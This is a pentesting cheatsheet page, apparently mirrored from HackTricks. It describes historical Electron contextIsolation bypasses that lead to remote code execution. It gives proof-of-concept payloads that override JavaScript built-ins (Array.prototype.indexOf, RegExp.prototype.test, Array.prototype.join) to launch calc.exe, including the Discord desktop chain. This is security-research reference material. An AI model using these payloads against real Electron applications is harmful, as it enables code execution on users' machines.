daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

electron-contextisolation-rce-via-preload-code.md (5450B)


      1 ---
      2 title: "Electron contextIsolation RCE via preload code"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Electron contextIsolation RCE via preload code
     14 
     15 These are **historical chains** in which preload code shared JavaScript intrinsics or privileged APIs with attacker-controlled renderer content. With context isolation enabled, preload and page normally have separate JavaScript realms, so prototype overrides in the page do not automatically affect preload objects. Validate the chain against the exact Electron/application version and bridge implementation.<sup>[[3]](#references)</sup>
     16 
     17 ## Example 1
     18 
     19 Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)<sup>[[1]](#references)</sup>
     20 
     21 This code open http(s) links with default browser:
     22 
     23 ![Electron contextIsolation RCE via preload code - Example 1: This code open http(s) links with default browser](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28768%29.png)
     24 
     25 In the affected historical application, a local-file navigation such as `file:///C:/Windows/System32/calc.exe` could reach an OS launch path; `SAFE_PROTOCOLS.indexOf` was intended to prevent it.
     26 
     27 Therefore, an attacker could inject this JS code via the XSS or arbitrary page navigation:
     28 
     29 ```html
     30 <script>
     31   Array.prototype.indexOf = function () {
     32     return 1337
     33   }
     34 </script>
     35 ```
     36 
     37 As the call to `SAFE_PROTOCOLS.indexOf` will return 1337 always, the attacker can bypass the protection and execute the calc. Final exploit:
     38 
     39 ```html
     40 <script>
     41   Array.prototype.indexOf = function () {
     42     return 1337
     43   }
     44 </script>
     45 <a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
     46 ```
     47 
     48 Check the original slides for other ways to execute programs without having a prompt asking for permissions.<sup>[[1]](#references)</sup>
     49 
     50 The historical Discord chain also considered UNC-style `file://127.0.0.1/electron/rce.jar` loading as another potential execution path; validate reachability on the exact Windows/Electron build.<sup>[[2]](#references)</sup>
     51 
     52 ## Example 2: Discord App RCE
     53 
     54 Example from [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)<sup>[[2]](#references)</sup>
     55 
     56 When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, into the web page.\
     57 Here, I couldn't use modules that can be used for RCE directly, such as _child_process_ module, but I **found a code where RCE can be achieved by overriding the JavaScript built-in methods** and interfering with the execution of the exposed module.
     58 
     59 The following is the PoC. I was able to confirm that the **calc** application is **popped** up when I c**all the `getGPUDriverVersions` function** which is defined in the module called "_discord_utils_" from devTools, while **overriding the `RegExp.prototype.test` and `Array.prototype.join`**.
     60 
     61 ```javascript
     62 RegExp.prototype.test = function () {
     63   return false
     64 }
     65 Array.prototype.join = function () {
     66   return "calc"
     67 }
     68 DiscordNative.nativeModules
     69   .requireModule("discord_utils")
     70   .getGPUDriverVersions()
     71 ```
     72 
     73 The `getGPUDriverVersions` function tries to execute the program by using the "_execa_" library, like the following:
     74 
     75 ```javascript
     76 module.exports.getGPUDriverVersions = async () => {
     77   if (process.platform !== "win32") {
     78     return {}
     79   }
     80 
     81   const result = {}
     82   const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
     83 
     84   try {
     85     result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
     86   } catch (e) {
     87     result.nvidia = { error: e.toString() }
     88   }
     89 
     90   return result
     91 }
     92 ```
     93 
     94 Usually the _execa_ tries to execute "_nvidia-smi.exe_", which is specified in the `nvidiaSmiPath` variable, however, due to the overridden `RegExp.prototype.test` and `Array.prototype.join`, **the argument is replaced to "**_**calc**_**" in the _execa**_**'s internal processing**.
     95 
     96 Specifically, the argument is replaced by influencing the command-resolution and argument-processing paths in the historical `cross-spawn` parser.<sup>[[4]](#references)</sup>
     97 
     98 ## References
     99 
    100 - [1] [Electron: Abusing the lack of context isolation - CureCon (en)](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
    101 - [2] [Discord Desktop app RCE](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
    102 - [3] [Electron — Context isolation](https://www.electronjs.org/docs/latest/tutorial/context-isolation)
    103 - [4] [`node-cross-spawn` parser revision and exact paths used by the chain (lines 36–55)](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36-L55)